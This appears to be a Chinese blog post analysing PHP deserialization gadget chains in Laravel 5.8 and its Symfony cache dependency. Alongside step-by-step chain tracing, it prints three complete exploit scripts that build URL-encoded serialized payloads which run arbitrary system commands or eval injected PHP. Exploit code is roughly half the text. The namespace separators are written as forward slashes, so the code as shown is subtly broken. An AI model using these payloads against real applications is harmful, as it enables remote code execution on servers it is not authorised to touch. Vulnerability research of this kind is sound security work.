这篇文章将为大家详细讲解有关Laravel 5.8反序列化漏洞的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。
Laravel 5.8反序列化漏洞
POP链1
PendingBroadcast->destruct --->Dispatcher->dispatch --->Dispatcher->dispatchToQueue
先看Dispatcher->dispatchToQueue,只要call_user_func的参数都可控,即可执行任意命令
再看pop链首
PendingBroadcast->__destruct
$this->events与$this->event可控。
这里需要调用Dispatcher->dispatch
跟进commandShouldBeQueued,只要$command属于ShouldQueue类(子类也行)即可返回true
跟进Dispatcher->dispatchToQueue
$this->queueResolver可控,$connection由传入的$command控制,也即是上面的$this->event,可控。
只要找到一个包含$connection属性的ShouldQueue的实现类即可执行任意代码。
先找到ShouldQueue的实现类如下
这些类自身没有$connection属性,但是一些类使用的trait类Queueable中有$connection,如下
故如下类,可用
QueuedCommand BroadcastEvent SendQueuedNotifications CallQueuedClosure
至此已可编写exp,整理一下
PendingBroadcast->events = Dispatcher类 PendingBroadcast->event = BroadcastEvent类 //包含$connection属性的ShouldQueue的实现类 Dispatcher->queueResolver = 要执行的函数 BroadcastEvent->connection = 参数
exp1
<?php namespace Illuminate/Bus; class Dispatcher implements QueueingDispatcher{ protected $queueResolver; public function __construct(){ $this->queueResolver = "system"; } } namespace Illuminate/Broadcasting; class BroadcastEvent implements ShouldQueue{ public $connection; public function __construct($cmd){ $this->connection = $cmd; } } namespace Illuminate/Broadcasting; class PendingBroadcast{ protected $events; protected $event; public function __construct($events,$event){ $this->events = $events; $this->event = $event; } } $broadcastevent = new Illuminate/Broadcasting/BroadcastEvent($argv[1]); $dispatcher = new Illuminate/Bus/Dispatcher(); $pending = new Illuminate/Broadcasting/PendingBroadcast($dispatcher,$broadcastevent); echo urlencode(serialize($pending)); echo "/n"; ?>
控制broadcastevent的$connection为要执行命令的参数即可执行命令了,其他师傅没有这么做,不是很理解原因。但是下面还是说一下其他师傅的。
利用参数可控的call_user_func可调用任意类方法,如下
故,这里可以调用EvalLoader类的load方法,如下
MockDefinition类的getCode方法返回值可控,如下
只要控制了code并且不进入if语句(使得$definition->getClassName为一个未被载入的类),即可执行代码
跟踪getClassName方法
全局查找返回值可控的getName方法,发现MockConfiguration类
至此可编写exp,整理一下如下
PendingBroadcast->events = Dispatcher类 PendingBroadcast->event = BroadcastEvent类 //包含$connection属性的ShouldQueue的实现类 Dispatcher->queueResolver = [EvalLoader类,"load"] BroadcastEvent->connection = MockDefinition类 MockDefinition->config = MockConfiguration类 //任一getName返回值可控的类 MockDefinition->code = 要执行的代码 MockConfiguration->name = ConfigCacheCommand类 //任一未被载入的类
exp2
<?php namespace Illuminate/Bus; class Dispatcher{ protected $queueResolver; public function __construct($cmd){ $this->queueResolver = $cmd; } } namespace Illuminate/Broadcasting; class BroadcastEvent{ public $connection; public function __construct($cmd){ $this->connection = $cmd; } } namespace Mockery/Generator; class MockDefinition{ protected $config; protected $code; public function __construct($mockconfiguration,$code){ $this->config = $mockconfiguration; $this->code = $code; } } namespace Mockery/Generator; class MockConfiguration{ protected $name; public function __construct($class){ $this->name = $class; } } namespace Mockery/Loader; class EvalLoader{ } namespace Illuminate/Foundation/Console; class ConfigCacheCommand{ } namespace Illuminate/Broadcasting; class PendingBroadcast{ protected $events; protected $event; public function __construct($events,$event){ $this->events = $events; $this->event = $event; } } $mockconfiguration = new /Mockery/Generator/MockConfiguration(new /Illuminate/Foundation/Console/ConfigCacheCommand()); $mockdefinition = new /Mockery/Generator/MockDefinition($mockconfiguration,"<?php system($argv[1]);?>"); $broadcastevent = new /Illuminate/Broadcasting/BroadcastEvent($mockdefinition); $dispatcher = new /Illuminate/Bus/Dispatcher(array(new /Mockery/Loader/EvalLoader(),"load")); $pending = new /Illuminate/Broadcasting/PendingBroadcast($dispatcher,$broadcastevent); echo urlencode(serialize($pending)); echo "/n"; ?>
POP链2
TagAwareAdapter->__destruct --->TagAwareAdapter->commit --->TagAwareAdapter->invalidateTags --->ProxyAdapter->saveDeferrred --->ProxyAdapter->doSave
先看命令执行处
若ProxyAdapter->setInnerItem、$innerItem、$item可控,则可命令执行。
回到POP链首
TagAwareAdapter->__destruct
跟进,TagAwareAdapter->commit
跟进,TagAwareAdapter->invalidateTags(截取部分)
令$this->pool=ProxyAdapter类
跟进ProxyAdapter->saveDeferred
跟进ProxyAdapter->doSave
首先,$item为我们传入的参数,也即是$TagAwareAdapter->deferred,可控。
204行的if语句,只要使得$item为CacheItem的实例即可通过。
$this->setInnerItem为ProxyAdapter的属性,可控。
$innerItem可通过代码213行控制
至此可以编写exp,整理一下
$TagAwareAdapter->deferred = ["4ut15m",CacheItem类] $TagAwareAdapter->pool = ProxyAdapter类 $ProxyAdapter->setInnerItem = "system"; $ProxyAdapter->poolHash = "4ut15m"; $CacheItem->innerItem = 要执行的命令 $CacheItem->poolHash = "4ut15m";
这条链并不复杂,具体的内容看exp
exp
<?php namespace Symfony/Component/Cache/Adapter; class TagAwareAdapter{ private $deferred; private $pool; public function __construct($obj, $obj2){ $this->deferred = array("4ut15m" => $obj2); $this->pool = $obj; } } namespace Symfony/Component/Cache; final class CacheItem{ protected $innerItem; protected $poolHash; public function __construct($cmd){ $this->innerItem = "$cmd"; $this->poolHash = "4ut15m"; } } namespace Symfony/Component/Cache/Adapter; class ProxyAdapter{ private $setInnerItem; private $poolHash; public function __construct(){ $this->setInnerItem = "system"; $this->poolHash = "4ut15m"; } } $cacheitem = new /Symfony/Component/Cache/CacheItem($argv[1]); $proxyadapter = new /Symfony/Component/Cache/Adapter/ProxyAdapter(); $TagAwareAdapter = new /Symfony/Component/Cache/Adapter/TagAwareAdapter($proxyadapter, $cacheitem); echo urlencode(serialize($TagAwareAdapter)); echo "/n"; ?>
关于“Laravel 5.8反序列化漏洞的示例分析”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。
原创文章,作者:745907710,如若转载,请注明出处:https://blog.ytso.com/221848.html